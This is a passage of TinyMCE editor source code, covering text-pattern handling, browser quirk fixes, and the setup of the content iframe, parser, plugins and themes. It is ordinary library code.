        const inlineMatches = findPatterns(editor, block, rng.startContainer, offset, dynamicPatternSet, true);
        const blockMatches = findPatterns$1(editor, block, dynamicPatternSet, true);
        if (blockMatches.length > 0 || inlineMatches.length > 0) {
          editor.undoManager.add();
          editor.undoManager.extra(() => {
            editor.execCommand('mceInsertNewLine');
          }, () => {
            editor.insertContent(zeroWidth);
            applyMatches(editor, inlineMatches);
            applyMatches$1(editor, blockMatches);
            const range = editor.selection.getRng();
            const spot = textBefore(range.startContainer, range.startOffset, editor.dom.getRoot());
            editor.execCommand('mceInsertNewLine');
            spot.each(s => {
              const node = s.container;
              if (node.data.charAt(s.offset - 1) === zeroWidth) {
                node.deleteData(s.offset - 1, 1);
                cleanEmptyNodes(editor.dom, node.parentNode, e => e === editor.dom.getRoot());
              }
            });
          });
          return true;
        }
        return false;
      }).getOr(false);
    };
    const handleInlineKey = (editor, patternSet) => {
      const rng = editor.selection.getRng();
      getParentBlock(editor, rng).map(block => {
        const offset = Math.max(0, rng.startOffset - 1);
        const beforeText = getBeforeText(editor.dom, block, rng.startContainer, offset);
        const dynamicPatternSet = resolveFromDynamicPatterns(patternSet, block, beforeText);
        const inlineMatches = findPatterns(editor, block, rng.startContainer, offset, dynamicPatternSet, false);
        if (inlineMatches.length > 0) {
          editor.undoManager.transact(() => {
            applyMatches(editor, inlineMatches);
          });
        }
      });
    };
    const checkKeyEvent = (codes, event, predicate) => {
      for (let i = 0; i < codes.length; i++) {
        if (predicate(codes[i], event)) {
          return true;
        }
      }
      return false;
    };
    const checkKeyCode = (codes, event) => checkKeyEvent(codes, event, (code, event) => {
      return code === event.keyCode && !VK.modifierPressed(event);
    });
    const checkCharCode = (chars, event) => checkKeyEvent(chars, event, (chr, event) => {
      return chr.charCodeAt(0) === event.charCode;
    });

    const setup$2 = editor => {
      const charCodes = [
        ',',
        '.',
        ';',
        ':',
        '!',
        '?'
      ];
      const keyCodes = [32];
      const getPatternSet = () => createPatternSet(getTextPatterns(editor), getTextPatternsLookup(editor));
      const hasDynamicPatterns = () => hasTextPatternsLookup(editor);
      editor.on('keydown', e => {
        if (e.keyCode === 13 && !VK.modifierPressed(e) && editor.selection.isCollapsed()) {
          const patternSet = getPatternSet();
          const hasPatterns = patternSet.inlinePatterns.length > 0 || patternSet.blockPatterns.length > 0 || hasDynamicPatterns();
          if (hasPatterns && handleEnter(editor, patternSet)) {
            e.preventDefault();
          }
        }
      }, true);
      const handleInlineTrigger = () => {
        if (editor.selection.isCollapsed()) {
          const patternSet = getPatternSet();
          const hasPatterns = patternSet.inlinePatterns.length > 0 || hasDynamicPatterns();
          if (hasPatterns) {
            handleInlineKey(editor, patternSet);
          }
        }
      };
      editor.on('keyup', e => {
        if (checkKeyCode(keyCodes, e)) {
          handleInlineTrigger();
        }
      });
      editor.on('keypress', e => {
        if (checkCharCode(charCodes, e)) {
          Delay.setEditorTimeout(editor, handleInlineTrigger);
        }
      });
    };

    const setup$1 = editor => {
      setup$2(editor);
    };

    const Quirks = editor => {
      const each = Tools.each;
      const BACKSPACE = VK.BACKSPACE, DELETE = VK.DELETE, dom = editor.dom, selection = editor.selection, parser = editor.parser;
      const browser = Env.browser;
      const isGecko = browser.isFirefox();
      const isWebKit = browser.isChromium() || browser.isSafari();
      const isiOS = Env.deviceType.isiPhone() || Env.deviceType.isiPad();
      const isMac = Env.os.isMacOS() || Env.os.isiOS();
      const setEditorCommandState = (cmd, state) => {
        try {
          editor.getDoc().execCommand(cmd, false, String(state));
        } catch (ex) {
        }
      };
      const isDefaultPrevented = e => {
        return e.isDefaultPrevented();
      };
      const emptyEditorWhenDeleting = () => {
        const serializeRng = rng => {
          const body = dom.create('body');
          const contents = rng.cloneContents();
          body.appendChild(contents);
          return selection.serializer.serialize(body, { format: 'html' });
        };
        const allContentsSelected = rng => {
          const selection = serializeRng(rng);
          const allRng = dom.createRng();
          allRng.selectNode(editor.getBody());
          const allSelection = serializeRng(allRng);
          return selection === allSelection;
        };
        editor.on('keydown', e => {
          const keyCode = e.keyCode;
          if (!isDefaultPrevented(e) && (keyCode === DELETE || keyCode === BACKSPACE)) {
            const isCollapsed = editor.selection.isCollapsed();
            const body = editor.getBody();
            if (isCollapsed && !dom.isEmpty(body)) {
              return;
            }
            if (!isCollapsed && !allContentsSelected(editor.selection.getRng())) {
              return;
            }
            e.preventDefault();
            editor.setContent('');
            if (body.firstChild && dom.isBlock(body.firstChild)) {
              editor.selection.setCursorLocation(body.firstChild, 0);
            } else {
              editor.selection.setCursorLocation(body, 0);
            }
            editor.nodeChanged();
          }
        });
      };
      const selectAll = () => {
        editor.shortcuts.add('meta+a', null, 'SelectAll');
      };
      const documentElementEditingFocus = () => {
        if (!editor.inline) {
          dom.bind(editor.getDoc(), 'mousedown mouseup', e => {
            let rng;
            if (e.target === editor.getDoc().documentElement) {
              rng = selection.getRng();
              editor.getBody().focus();
              if (e.type === 'mousedown') {
                if (isCaretContainer$2(rng.startContainer)) {
                  return;
                }
                selection.placeCaretAt(e.clientX, e.clientY);
              } else {
                selection.setRng(rng);
              }
            }
          });
        }
      };
      const removeHrOnBackspace = () => {
        editor.on('keydown', e => {
          if (!isDefaultPrevented(e) && e.keyCode === BACKSPACE) {
            if (!editor.getBody().getElementsByTagName('hr').length) {
              return;
            }
            if (selection.isCollapsed() && selection.getRng().startOffset === 0) {
              const node = selection.getNode();
              const previousSibling = node.previousSibling;
              if (node.nodeName === 'HR') {
                dom.remove(node);
                e.preventDefault();
                return;
              }
              if (previousSibling && previousSibling.nodeName && previousSibling.nodeName.toLowerCase() === 'hr') {
                dom.remove(previousSibling);
                e.preventDefault();
              }
            }
          }
        });
      };
      const focusBody = () => {
        if (!Range.prototype.getClientRects) {
          editor.on('mousedown', e => {
            if (!isDefaultPrevented(e) && e.target.nodeName === 'HTML') {
              const body = editor.getBody();
              body.blur();
              Delay.setEditorTimeout(editor, () => {
                body.focus();
              });
            }
          });
        }
      };
      const selectControlElements = () => {
        const visualAidsAnchorClass = getVisualAidsAnchorClass(editor);
        editor.on('click', e => {
          const target = e.target;
          if (/^(IMG|HR)$/.test(target.nodeName) && dom.getContentEditableParent(target) !== 'false') {
            e.preventDefault();
            editor.selection.select(target);
            editor.nodeChanged();
          }
          if (target.nodeName === 'A' && dom.hasClass(target, visualAidsAnchorClass) && target.childNodes.length === 0) {
            e.preventDefault();
            selection.select(target);
          }
        });
      };
      const removeStylesWhenDeletingAcrossBlockElements = () => {
        const getAttributeApplyFunction = () => {
          const template = dom.getAttribs(selection.getStart().cloneNode(false));
          return () => {
            const target = selection.getStart();
            if (target !== editor.getBody()) {
              dom.setAttrib(target, 'style', null);
              each(template, attr => {
                target.setAttributeNode(attr.cloneNode(true));
              });
            }
          };
        };
        const isSelectionAcrossElements = () => {
          return !selection.isCollapsed() && dom.getParent(selection.getStart(), dom.isBlock) !== dom.getParent(selection.getEnd(), dom.isBlock);
        };
        editor.on('keypress', e => {
          let applyAttributes;
          if (!isDefaultPrevented(e) && (e.keyCode === 8 || e.keyCode === 46) && isSelectionAcrossElements()) {
            applyAttributes = getAttributeApplyFunction();
            editor.getDoc().execCommand('delete', false);
            applyAttributes();
            e.preventDefault();
            return false;
          } else {
            return true;
          }
        });
        dom.bind(editor.getDoc(), 'cut', e => {
          if (!isDefaultPrevented(e) && isSelectionAcrossElements()) {
            const applyAttributes = getAttributeApplyFunction();
            Delay.setEditorTimeout(editor, () => {
              applyAttributes();
            });
          }
        });
      };
      const disableBackspaceIntoATable = () => {
        editor.on('keydown', e => {
          if (!isDefaultPrevented(e) && e.keyCode === BACKSPACE) {
            if (selection.isCollapsed() && selection.getRng().startOffset === 0) {
              const previousSibling = selection.getNode().previousSibling;
              if (previousSibling && previousSibling.nodeName && previousSibling.nodeName.toLowerCase() === 'table') {
                e.preventDefault();
                return false;
              }
            }
          }
          return true;
        });
      };
      const removeBlockQuoteOnBackSpace = () => {
        editor.on('keydown', e => {
          if (isDefaultPrevented(e) || e.keyCode !== VK.BACKSPACE) {
            return;
          }
          let rng = selection.getRng();
          const container = rng.startContainer;
          const offset = rng.startOffset;
          const root = dom.getRoot();
          let parent = container;
          if (!rng.collapsed || offset !== 0) {
            return;
          }
          while (parent.parentNode && parent.parentNode.firstChild === parent && parent.parentNode !== root) {
            parent = parent.parentNode;
          }
          if (parent.nodeName === 'BLOCKQUOTE') {
            editor.formatter.toggle('blockquote', undefined, parent);
            rng = dom.createRng();
            rng.setStart(container, 0);
            rng.setEnd(container, 0);
            selection.setRng(rng);
          }
        });
      };
      const setGeckoEditingOptions = () => {
        const setOpts = () => {
          setEditorCommandState('StyleWithCSS', false);
          setEditorCommandState('enableInlineTableEditing', false);
          if (!getObjectResizing(editor)) {
            setEditorCommandState('enableObjectResizing', false);
          }
        };
        if (!isReadOnly$1(editor)) {
          editor.on('BeforeExecCommand mousedown', setOpts);
        }
      };
      const addBrAfterLastLinks = () => {
        const fixLinks = () => {
          each(dom.select('a:not([data-mce-block])'), node => {
            var _a;
            let parentNode = node.parentNode;
            const root = dom.getRoot();
            if ((parentNode === null || parentNode === void 0 ? void 0 : parentNode.lastChild) === node) {
              while (parentNode && !dom.isBlock(parentNode)) {
                if (((_a = parentNode.parentNode) === null || _a === void 0 ? void 0 : _a.lastChild) !== parentNode || parentNode === root) {
                  return;
                }
                parentNode = parentNode.parentNode;
              }
              dom.add(parentNode, 'br', { 'data-mce-bogus': 1 });
            }
          });
        };
        editor.on('SetContent ExecCommand', e => {
          if (e.type === 'setcontent' || e.command === 'mceInsertLink') {
            fixLinks();
          }
        });
      };
      const setDefaultBlockType = () => {
        editor.on('init', () => {
          setEditorCommandState('DefaultParagraphSeparator', getForcedRootBlock(editor));
        });
      };
      const isAllContentSelected = editor => {
        const body = editor.getBody();
        const rng = editor.selection.getRng();
        return rng.startContainer === rng.endContainer && rng.startContainer === body && rng.startOffset === 0 && rng.endOffset === body.childNodes.length;
      };
      const normalizeSelection = () => {
        editor.on('keyup focusin mouseup', e => {
          if (!VK.modifierPressed(e) && !isAllContentSelected(editor)) {
            selection.normalize();
          }
        }, true);
      };
      const showBrokenImageIcon = () => {
        editor.contentStyles.push('img:-moz-broken {' + '-moz-force-broken-image-icon:1;' + 'min-width:24px;' + 'min-height:24px' + '}');
      };
      const restoreFocusOnKeyDown = () => {
        if (!editor.inline) {
          editor.on('keydown', () => {
            if (document.activeElement === document.body) {
              editor.getWin().focus();
            }
          });
        }
      };
      const bodyHeight = () => {
        if (!editor.inline) {
          editor.contentStyles.push('body {min-height: 150px}');
          editor.on('click', e => {
            let rng;
            if (e.target.nodeName === 'HTML') {
              rng = editor.selection.getRng();
              editor.getBody().focus();
              editor.selection.setRng(rng);
              editor.selection.normalize();
              editor.nodeChanged();
            }
          });
        }
      };
      const blockCmdArrowNavigation = () => {
        if (isMac) {
          editor.on('keydown', e => {
            if (VK.metaKeyPressed(e) && !e.shiftKey && (e.keyCode === 37 || e.keyCode === 39)) {
              e.preventDefault();
              const selection = editor.selection.getSel();
              selection.modify('move', e.keyCode === 37 ? 'backward' : 'forward', 'lineboundary');
            }
          });
        }
      };
      const tapLinksAndImages = () => {
        editor.on('click', e => {
          let elm = e.target;
          do {
            if (elm.tagName === 'A') {
              e.preventDefault();
              return;
            }
          } while (elm = elm.parentNode);
        });
        editor.contentStyles.push('.mce-content-body {-webkit-touch-callout: none}');
      };
      const blockFormSubmitInsideEditor = () => {
        editor.on('init', () => {
          editor.dom.bind(editor.getBody(), 'submit', e => {
            e.preventDefault();
          });
        });
      };
      const removeAppleInterchangeBrs = () => {
        parser.addNodeFilter('br', nodes => {
          let i = nodes.length;
          while (i--) {
            if (nodes[i].attr('class') === 'Apple-interchange-newline') {
              nodes[i].remove();
            }
          }
        });
      };
      const refreshContentEditable = noop;
      const isHidden = () => {
        if (!isGecko || editor.removed) {
          return false;
        }
        const sel = editor.selection.getSel();
        return !sel || !sel.rangeCount || sel.rangeCount === 0;
      };
      const setupRtc = () => {
        if (isWebKit) {
          documentElementEditingFocus();
          selectControlElements();
          blockFormSubmitInsideEditor();
          selectAll();
          if (isiOS) {
            restoreFocusOnKeyDown();
            bodyHeight();
            tapLinksAndImages();
          }
        }
        if (isGecko) {
          focusBody();
          setGeckoEditingOptions();
          showBrokenImageIcon();
          blockCmdArrowNavigation();
        }
      };
      const setup = () => {
        removeBlockQuoteOnBackSpace();
        emptyEditorWhenDeleting();
        if (!Env.windowsPhone) {
          normalizeSelection();
        }
        if (isWebKit) {
          documentElementEditingFocus();
          selectControlElements();
          setDefaultBlockType();
          blockFormSubmitInsideEditor();
          disableBackspaceIntoATable();
          removeAppleInterchangeBrs();
          if (isiOS) {
            restoreFocusOnKeyDown();
            bodyHeight();
            tapLinksAndImages();
          } else {
            selectAll();
          }
        }
        if (isGecko) {
          removeHrOnBackspace();
          focusBody();
          removeStylesWhenDeletingAcrossBlockElements();
          setGeckoEditingOptions();
          addBrAfterLastLinks();
          showBrokenImageIcon();
          blockCmdArrowNavigation();
          disableBackspaceIntoATable();
        }
      };
      if (isRtc(editor)) {
        setupRtc();
      } else {
        setup();
      }
      return {
        refreshContentEditable,
        isHidden
      };
    };

    const DOM$6 = DOMUtils.DOM;
    const appendStyle = (editor, text) => {
      const body = SugarElement.fromDom(editor.getBody());
      const container = getStyleContainer(getRootNode(body));
      const style = SugarElement.fromTag('style');
      set$2(style, 'type', 'text/css');
      append$1(style, SugarElement.fromText(text));
      append$1(container, style);
      editor.on('remove', () => {
        remove$6(style);
      });
    };
    const getRootName = editor => editor.inline ? editor.getElement().nodeName.toLowerCase() : undefined;
    const removeUndefined = obj => filter$4(obj, v => isUndefined(v) === false);
    const mkParserSettings = editor => {
      const getOption = editor.options.get;
      const blobCache = editor.editorUpload.blobCache;
      return removeUndefined({
        allow_conditional_comments: getOption('allow_conditional_comments'),
        allow_html_data_urls: getOption('allow_html_data_urls'),
        allow_svg_data_urls: getOption('allow_svg_data_urls'),
        allow_html_in_named_anchor: getOption('allow_html_in_named_anchor'),
        allow_script_urls: getOption('allow_script_urls'),
        allow_unsafe_link_target: getOption('allow_unsafe_link_target'),
        convert_fonts_to_spans: getOption('convert_fonts_to_spans'),
        fix_list_elements: getOption('fix_list_elements'),
        font_size_legacy_values: getOption('font_size_legacy_values'),
        forced_root_block: getOption('forced_root_block'),
        forced_root_block_attrs: getOption('forced_root_block_attrs'),
        preserve_cdata: getOption('preserve_cdata'),
        remove_trailing_brs: getOption('remove_trailing_brs'),
        inline_styles: getOption('inline_styles'),
        root_name: getRootName(editor),
        validate: true,
        blob_cache: blobCache,
        document: editor.getDoc()
      });
    };
    const mkSchemaSettings = editor => {
      const getOption = editor.options.get;
      return removeUndefined({
        custom_elements: getOption('custom_elements'),
        extended_valid_elements: getOption('extended_valid_elements'),
        invalid_elements: getOption('invalid_elements'),
        invalid_styles: getOption('invalid_styles'),
        schema: getOption('schema'),
        valid_children: getOption('valid_children'),
        valid_classes: getOption('valid_classes'),
        valid_elements: getOption('valid_elements'),
        valid_styles: getOption('valid_styles'),
        verify_html: getOption('verify_html'),
        padd_empty_block_inline_children: getOption('format_empty_lines')
      });
    };
    const mkSerializerSettings = editor => {
      const getOption = editor.options.get;
      return {
        ...mkParserSettings(editor),
        ...mkSchemaSettings(editor),
        ...removeUndefined({
          url_converter: getOption('url_converter'),
          url_converter_scope: getOption('url_converter_scope'),
          element_format: getOption('element_format'),
          entities: getOption('entities'),
          entity_encoding: getOption('entity_encoding'),
          indent: getOption('indent'),
          indent_after: getOption('indent_after'),
          indent_before: getOption('indent_before')
        })
      };
    };
    const createParser = editor => {
      const parser = DomParser(mkParserSettings(editor), editor.schema);
      parser.addAttributeFilter('src,href,style,tabindex', (nodes, name) => {
        const dom = editor.dom;
        const internalName = 'data-mce-' + name;
        let i = nodes.length;
        while (i--) {
          const node = nodes[i];
          let value = node.attr(name);
          if (value && !node.attr(internalName)) {
            if (value.indexOf('data:') === 0 || value.indexOf('blob:') === 0) {
              continue;
            }
            if (name === 'style') {
              value = dom.serializeStyle(dom.parseStyle(value), node.name);
              if (!value.length) {
                value = null;
              }
              node.attr(internalName, value);
              node.attr(name, value);
            } else if (name === 'tabindex') {
              node.attr(internalName, value);
              node.attr(name, null);
            } else {
              node.attr(internalName, editor.convertURL(value, name, node.name));
            }
          }
        }
      });
      parser.addNodeFilter('script', nodes => {
        let i = nodes.length;
        while (i--) {
          const node = nodes[i];
          const type = node.attr('type') || 'no/type';
          if (type.indexOf('mce-') !== 0) {
            node.attr('type', 'mce-' + type);
          }
        }
      });
      if (shouldPreserveCData(editor)) {
        parser.addNodeFilter('#cdata', nodes => {
          var _a;
          let i = nodes.length;
          while (i--) {
            const node = nodes[i];
            node.type = 8;
            node.name = '#comment';
            node.value = '[CDATA[' + editor.dom.encode((_a = node.value) !== null && _a !== void 0 ? _a : '') + ']]';
          }
        });
      }
      parser.addNodeFilter('p,h1,h2,h3,h4,h5,h6,div', nodes => {
        let i = nodes.length;
        const nonEmptyElements = editor.schema.getNonEmptyElements();
        while (i--) {
          const node = nodes[i];
          if (node.isEmpty(nonEmptyElements) && node.getAll('br').length === 0) {
            node.append(new AstNode('br', 1));
          }
        }
      });
      return parser;
    };
    const autoFocus = editor => {
      const autoFocus = getAutoFocus(editor);
      if (autoFocus) {
        Delay.setEditorTimeout(editor, () => {
          let focusEditor;
          if (autoFocus === true) {
            focusEditor = editor;
          } else {
            focusEditor = editor.editorManager.get(autoFocus);
          }
          if (focusEditor && !focusEditor.destroyed) {
            focusEditor.focus();
            focusEditor.selection.scrollIntoView();
          }
        }, 100);
      }
    };
    const moveSelectionToFirstCaretPosition = editor => {
      const root = editor.dom.getRoot();
      if (!editor.inline && (!hasAnyRanges(editor) || editor.selection.getStart(true) === root)) {
        firstPositionIn(root).each(pos => {
          const node = pos.getNode();
          const caretPos = isTable$2(node) ? firstPositionIn(node).getOr(pos) : pos;
          editor.selection.setRng(caretPos.toRange());
        });
      }
    };
    const initEditor = editor => {
      editor.bindPendingEventDelegates();
      editor.initialized = true;
      fireInit(editor);
      editor.focus(true);
      moveSelectionToFirstCaretPosition(editor);
      editor.nodeChanged({ initial: true });
      const initInstanceCallback = getInitInstanceCallback(editor);
      if (isFunction(initInstanceCallback)) {
        initInstanceCallback.call(editor, editor);
      }
      autoFocus(editor);
    };
    const getStyleSheetLoader$1 = editor => editor.inline ? editor.ui.styleSheetLoader : editor.dom.styleSheetLoader;
    const makeStylesheetLoadingPromises = (editor, css, framedFonts) => {
      const promises = [getStyleSheetLoader$1(editor).loadAll(css)];
      if (editor.inline) {
        return promises;
      } else {
        return promises.concat([editor.ui.styleSheetLoader.loadAll(framedFonts)]);
      }
    };
    const loadContentCss = editor => {
      const styleSheetLoader = getStyleSheetLoader$1(editor);
      const fontCss = getFontCss(editor);
      const css = editor.contentCSS;
      const removeCss = () => {
        styleSheetLoader.unloadAll(css);
        if (!editor.inline) {
          editor.ui.styleSheetLoader.unloadAll(fontCss);
        }
      };
      const loaded = () => {
        if (editor.removed) {
          removeCss();
        } else {
          editor.on('remove', removeCss);
        }
      };
      if (editor.contentStyles.length > 0) {
        let contentCssText = '';
        Tools.each(editor.contentStyles, style => {
          contentCssText += style + '\r\n';
        });
        editor.dom.addStyle(contentCssText);
      }
      const allStylesheets = Promise.all(makeStylesheetLoadingPromises(editor, css, fontCss)).then(loaded).catch(loaded);
      const contentStyle = getContentStyle(editor);
      if (contentStyle) {
        appendStyle(editor, contentStyle);
      }
      return allStylesheets;
    };
    const preInit = editor => {
      const doc = editor.getDoc(), body = editor.getBody();
      firePreInit(editor);
      if (!shouldBrowserSpellcheck(editor)) {
        doc.body.spellcheck = false;
        DOM$6.setAttrib(body, 'spellcheck', 'false');
      }
      editor.quirks = Quirks(editor);
      firePostRender(editor);
      const directionality = getDirectionality(editor);
      if (directionality !== undefined) {
        body.dir = directionality;
      }
      const protect = getProtect(editor);
      if (protect) {
        editor.on('BeforeSetContent', e => {
          Tools.each(protect, pattern => {
            e.content = e.content.replace(pattern, str => {
              return '<!--mce:protected ' + escape(str) + '-->';
            });
          });
        });
      }
      editor.on('SetContent', () => {
        editor.addVisual(editor.getBody());
      });
      editor.on('compositionstart compositionend', e => {
        editor.composing = e.type === 'compositionstart';
      });
    };
    const loadInitialContent = editor => {
      if (!isRtc(editor)) {
        editor.load({
          initial: true,
          format: 'html'
        });
      }
      editor.startContent = editor.getContent({ format: 'raw' });
    };
    const initEditorWithInitialContent = editor => {
      if (editor.removed !== true) {
        loadInitialContent(editor);
        initEditor(editor);
      }
    };
    const contentBodyLoaded = editor => {
      const targetElm = editor.getElement();
      let doc = editor.getDoc();
      if (editor.inline) {
        DOM$6.addClass(targetElm, 'mce-content-body');
        editor.contentDocument = doc = document;
        editor.contentWindow = window;
        editor.bodyElement = targetElm;
        editor.contentAreaContainer = targetElm;
      }
      const body = editor.getBody();
      body.disabled = true;
      editor.readonly = isReadOnly$1(editor);
      if (!editor.readonly) {
        if (editor.inline && DOM$6.getStyle(body, 'position', true) === 'static') {
          body.style.position = 'relative';
        }
        body.contentEditable = 'true';
      }
      body.disabled = false;
      editor.editorUpload = EditorUpload(editor);
      editor.schema = Schema(mkSchemaSettings(editor));
      editor.dom = DOMUtils(doc, {
        keep_values: true,
        url_converter: editor.convertURL,
        url_converter_scope: editor,
        update_styles: true,
        root_element: editor.inline ? editor.getBody() : null,
        collect: editor.inline,
        schema: editor.schema,
        contentCssCors: shouldUseContentCssCors(editor),
        referrerPolicy: getReferrerPolicy(editor),
        onSetAttrib: e => {
          editor.dispatch('SetAttrib', e);
        }
      });
      editor.parser = createParser(editor);
      editor.serializer = DomSerializer(mkSerializerSettings(editor), editor);
      editor.selection = EditorSelection(editor.dom, editor.getWin(), editor.serializer, editor);
      editor.annotator = Annotator(editor);
      editor.formatter = Formatter(editor);
      editor.undoManager = UndoManager(editor);
      editor._nodeChangeDispatcher = new NodeChange(editor);
      editor._selectionOverrides = SelectionOverrides(editor);
      setup$o(editor);
      setup$6(editor);
      setup$m(editor);
      if (!isRtc(editor)) {
        setup$5(editor);
        setup$1(editor);
      }
      const caret = setup$b(editor);
      setup$p(editor, caret);
      setup$n(editor);
      setup$q(editor);
      setup$7(editor);
      const setupRtcThunk = setup$s(editor);
      preInit(editor);
      setupRtcThunk.fold(() => {
        loadContentCss(editor).then(() => initEditorWithInitialContent(editor));
      }, setupRtc => {
        editor.setProgressState(true);
        loadContentCss(editor).then(() => {
          setupRtc().then(_rtcMode => {
            editor.setProgressState(false);
            initEditorWithInitialContent(editor);
            bindEvents(editor);
          }, err => {
            editor.notificationManager.open({
              type: 'error',
              text: String(err)
            });
            initEditorWithInitialContent(editor);
            bindEvents(editor);
          });
        });
      });
    };
    const initContentBody = (editor, skipWrite) => {
      if (!editor.inline) {
        editor.getElement().style.visibility = editor.orgVisibility;
      }
      if (!skipWrite && !editor.inline) {
        const iframe = editor.iframeElement;
        const binder = bind$1(SugarElement.fromDom(iframe), 'load', () => {
          binder.unbind();
          editor.contentDocument = iframe.contentDocument;
          contentBodyLoaded(editor);
        });
        if (Env.browser.isFirefox()) {
          const doc = editor.getDoc();
          doc.open();
          doc.write(editor.iframeHTML);
          doc.close();
        } else {
          iframe.srcdoc = editor.iframeHTML;
        }
      } else {
        contentBodyLoaded(editor);
      }
    };

    const DOM$5 = DOMUtils.DOM;
    const createIframeElement = (id, title, customAttrs, tabindex) => {
      const iframe = SugarElement.fromTag('iframe');
      tabindex.each(t => set$2(iframe, 'tabindex', t));
      setAll$1(iframe, customAttrs);
      setAll$1(iframe, {
        id: id + '_ifr',
        frameBorder: '0',
        allowTransparency: 'true',
        title
      });
      add$2(iframe, 'tox-edit-area__iframe');
      return iframe;
    };
    const getIframeHtml = editor => {
      let iframeHTML = getDocType(editor) + '<html><head>';
      if (getDocumentBaseUrl(editor) !== editor.documentBaseUrl) {
        iframeHTML += '<base href="' + editor.documentBaseURI.getURI() + '" />';
      }
      iframeHTML += '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';
      const bodyId = getBodyId(editor);
      const bodyClass = getBodyClass(editor);
      const translatedAriaText = editor.translate(getIframeAriaText(editor));
      if (getContentSecurityPolicy(editor)) {
        iframeHTML += '<meta http-equiv="Content-Security-Policy" content="' + getContentSecurityPolicy(editor) + '" />';
      }
      iframeHTML += '</head>' + `<body id="${ bodyId }" class="mce-content-body ${ bodyClass }" data-id="${ editor.id }" aria-label="${ translatedAriaText }">` + '<br>' + '</body></html>';
      return iframeHTML;
    };
    const createIframe = (editor, boxInfo) => {
      const iframeTitle = editor.translate('Rich Text Area');
      const tabindex = getOpt(SugarElement.fromDom(editor.getElement()), 'tabindex').bind(toInt);
      const ifr = createIframeElement(editor.id, iframeTitle, getIframeAttrs(editor), tabindex).dom;
      ifr.onload = () => {
        ifr.onload = null;
        editor.dispatch('load');
      };
      editor.contentAreaContainer = boxInfo.iframeContainer;
      editor.iframeElement = ifr;
      editor.iframeHTML = getIframeHtml(editor);
      DOM$5.add(boxInfo.iframeContainer, ifr);
    };
    const init$1 = (editor, boxInfo) => {
      createIframe(editor, boxInfo);
      if (boxInfo.editorContainer) {
        boxInfo.editorContainer.style.display = editor.orgDisplay;
        editor.hidden = DOM$5.isHidden(boxInfo.editorContainer);
      }
      editor.getElement().style.display = 'none';
      DOM$5.setAttrib(editor.id, 'aria-hidden', 'true');
      initContentBody(editor);
    };

    const DOM$4 = DOMUtils.DOM;
    const initPlugin = (editor, initializedPlugins, plugin) => {
      const Plugin = PluginManager.get(plugin);
      const pluginUrl = PluginManager.urls[plugin] || editor.documentBaseUrl.replace(/\/$/, '');
      plugin = Tools.trim(plugin);
      if (Plugin && Tools.inArray(initializedPlugins, plugin) === -1) {
        if (editor.plugins[plugin]) {
          return;
        }
        try {
          const pluginInstance = Plugin(editor, pluginUrl) || {};
          editor.plugins[plugin] = pluginInstance;
          if (isFunction(pluginInstance.init)) {
            pluginInstance.init(editor, pluginUrl);
            initializedPlugins.push(plugin);
          }
        } catch (e) {
          pluginInitError(editor, plugin, e);
        }
      }
    };
    const trimLegacyPrefix = name => {
      return name.replace(/^\-/, '');
    };
    const initPlugins = editor => {
      const initializedPlugins = [];
      each$e(getPlugins(editor), name => {
        initPlugin(editor, initializedPlugins, trimLegacyPrefix(name));
      });
    };
    const initIcons = editor => {
      const iconPackName = Tools.trim(getIconPackName(editor));
      const currentIcons = editor.ui.registry.getAll().icons;
      const loadIcons = {
        ...IconManager.get('default').icons,
        ...IconManager.get(iconPackName).icons
      };
      each$d(loadIcons, (svgData, icon) => {
        if (!has$2(currentIcons, icon)) {
          editor.ui.registry.addIcon(icon, svgData);
        }
      });
    };
    const initTheme = editor => {
      const theme = getTheme(editor);
      if (isString(theme)) {
        const Theme = ThemeManager.get(theme);
        editor.theme = Theme(editor, ThemeManager.urls[theme]) || {};
        if (isFunction(editor.theme.init)) {
          editor.theme.init(editor, ThemeManager.urls[theme] || editor.documentBaseUrl.replace(/\/$/, ''));
        }
      } else {
        editor.theme = {};
      }
    };
    const initModel = editor => {
      const model = getModel(editor);
      const Model = ModelManager.get(model);
      editor.model = Model(editor, ModelManager.urls[model]);
    };
    const renderFromLoadedTheme = editor => {
      const render = editor.theme.renderUI;
      return render ? render() : renderThemeFalse(editor);
    };
    const renderFromThemeFunc = editor => {
      const elm = editor.getElement();
      const theme = getTheme(editor);
      const info = theme(editor, elm);
      if (info.editorContainer.nodeType) {
        info.editorContainer.id = info.editorContainer.id || editor.id + '_parent';
      }
      if (info.iframeContainer && info.iframeContainer.nodeType) {
        info.iframeContainer.id = info.iframeContainer.id || editor.id + '_iframecontainer';
      }
      info.height = info.iframeHeight ? info.iframeHeight : elm.offsetHeight;
      return info;
    };
    const createThemeFalseResult = (element, iframe) => {
      return {
        editorContainer: element,
        iframeContainer: iframe,
        api: {}
      };
    };
    const renderThemeFalseIframe = targetElement => {
      const iframeContainer = DOM$4.create('div');
      DOM$4.insertAfter(iframeContainer, targetElement);
      return createThemeFalseResult(iframeContainer, iframeContainer);
    };
    const renderThemeFalse = editor => {
      const targetElement = editor.getElement();
      return editor.inline ? createThemeFalseResult(null) : renderThemeFalseIframe(targetElement);
    };
    const renderThemeUi = editor => {
      const elm = editor.getElement();
      editor.orgDisplay = elm.style.display;
      if (isString(getTheme(editor))) {
        return renderFromLoadedTheme(editor);
      } else if (isFunction(getTheme(editor))) {
        return renderFromThemeFunc(editor);
      } else {
        return renderThemeFalse(editor);
      }
    };
    const augmentEditorUiApi = (editor, api) => {
      const uiApiFacade = {
        show: Optional.from(api.show).getOr(noop),
        hide: Optional.from(api.hide).getOr(noop),
        isEnabled: Optional.from(api.isEnabled).getOr(always),
        setEnabled: state => {
          if (!editor.mode.isReadOnly()) {
            Optional.from(api.setEnabled).each(f => f(state));
          }
        }
      };
      editor.ui = {
        ...editor.ui,
        ...uiApiFacade
      };
    };
    const init = editor => {
      editor.dispatch('ScriptsLoaded');
      initIcons(editor);
      initTheme(editor);
      initModel(editor);
      initPlugins(editor);
      const renderInfo = renderThemeUi(editor);
      augmentEditorUiApi(editor, Optional.from(renderInfo.api).getOr({}));
      editor.editorContainer = renderInfo.editorContainer;
      appendContentCssFromSettings(editor);
      if (editor.inline) {
        initContentBody(editor);
      } else {
        init$1(editor, {
          editorContainer: renderInfo.editorContainer,
          iframeContainer: renderInfo.iframeContainer
        });
      }
    };

    const DOM$3 = DOMUtils.DOM;
    const hasSkipLoadPrefix = name => name.charAt(0) === '-';
    const loadLanguage = (scriptLoader, editor) => {
      const languageCode = getLanguageCode(editor);
      const languageUrl = getLanguageUrl(editor);
      if (!I18n.hasCode(languageCode) && languageCode !== 'en') {
